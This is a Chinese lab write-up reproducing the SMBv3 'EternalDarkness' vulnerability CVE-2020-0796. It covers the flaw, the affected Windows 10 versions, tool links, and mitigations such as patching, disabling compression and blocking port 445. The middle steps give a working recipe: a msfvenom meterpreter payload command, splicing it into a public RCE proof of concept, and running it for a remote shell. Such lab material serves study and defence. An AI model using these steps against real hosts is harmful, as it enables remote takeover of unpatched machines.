永恒之黑：CVE-2020-0796漏洞复现

wholesome

​

2017年，“永恒之蓝”，
3年之后，
“永恒之黑” 来了。

漏洞介绍

3月12日，微软披露了一个最新的SMBv3（3.1.1）远程代码执行漏洞（CVE-2020-0796），俗称“永恒之黑”。
本漏洞源于SMBv3没有正确处理压缩的数据包，在解压数据包的时候使用客户端传过来的长度进行解压时，并没有检查长度是否合法，最终导致整数溢出。利用该漏洞，攻击方可直接远程攻击SMB服务端远程执行任意恶意代码，亦可通过构建恶意SMB服务端诱导客户端连接从而大规模攻击客户端。永恒之黑一旦被成功利用，其危害不亚于永恒之蓝。


同时，CVE-2020-0796漏洞与“永恒之蓝”系列漏洞极为相似，都是利用Windows SMB漏洞远程攻击获取系统最高权限。

漏洞危害等级：高危
“永恒之黑”漏洞高危之处在于对SMB客户端的攻击，攻击者可以通过构造一个“特制”的网页、压缩包、共享目录、OFFICE文档等，向攻击目标发送，一旦被攻击者打开则瞬间触发漏洞受到攻击。

漏洞影响范围
Windows 10 Version 1903 for 32-bit Systems
Windows 10 Version 1903 for x64-based Systems
Windows 10 Version 1903 for ARM64-based Systems
Windows Server, Version 1903 (Server Core installation)
Windows 10 Version 1909 for 32-bit Systems
Windows 10 Version 1909 for x64-based Systems
Windows 10 Version 1909 for ARM64-based Systems
Windows Server, Version 1909 (Server Core installation)

漏洞复现

想要复现这个永恒之黑，大家可以搭建靶机来完成，如下所示：
1、环境准备
Win10 靶机：192.168.183.133
Kali 攻击机：192.168.183.136
一定要记住：关闭防火墙，关闭防火墙，关闭防火墙！！！

2、查看环境情况
Windows版本，按win+r，在弹出窗口中，输入 winver
​

3、使用SMBGhost工具检测靶机是否存在漏洞
SMBGhost下载地址：https://github.com/ollypwn/SMBGhost
​
4、使用蓝屏payload，验证漏洞
蓝屏POC地址：https://github.com/chompie1337/SMBGhost_RCE_PoC
演示：蓝屏
​

​以上的步骤成功证明漏洞存在。
5、利用msf生成exp反弹shell
msfvenom -p windows/x64/meterpreter/bind_tcpLPORT=4444 -b '\x00' -i 1 -f python>exploit
打开蓝屏POC 的exploit.py 文件将生成的 USER_PAYLOAD 替换为生成的exp
（注意：buf 要替换为 USER_PAYLOAD）
​
蓝屏POC exploit 实况图
​
Msf生成exp实况图
​
修改exploit.py 文件 实况图


6、设置msf监听
use payload windows/x64/meterpreter/bind_tcpset lport  监听端口Set rhost  目标ip
​
run/exploit 执行监听

7、运行修改之后的exp
python3 exploit.py  -ip  目标ip
​
成功反弹meterpreter，执行shell命令查看IP地址为win10机器地址
​

漏洞修复

1、更新系统、完成补丁的安装：
操作步骤：设置->更新和安全->Windows更新，点击“检查更新”。
2、不更新系统的临时应对方法：
运行regedit.exe，打开注册表编辑器，在HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters建立一个名为DisableCompression的DWORD，值为1，禁止SMB的压缩功能。
3、封禁SMB通信445端口。

永恒之蓝复现：MS17-010漏洞回顾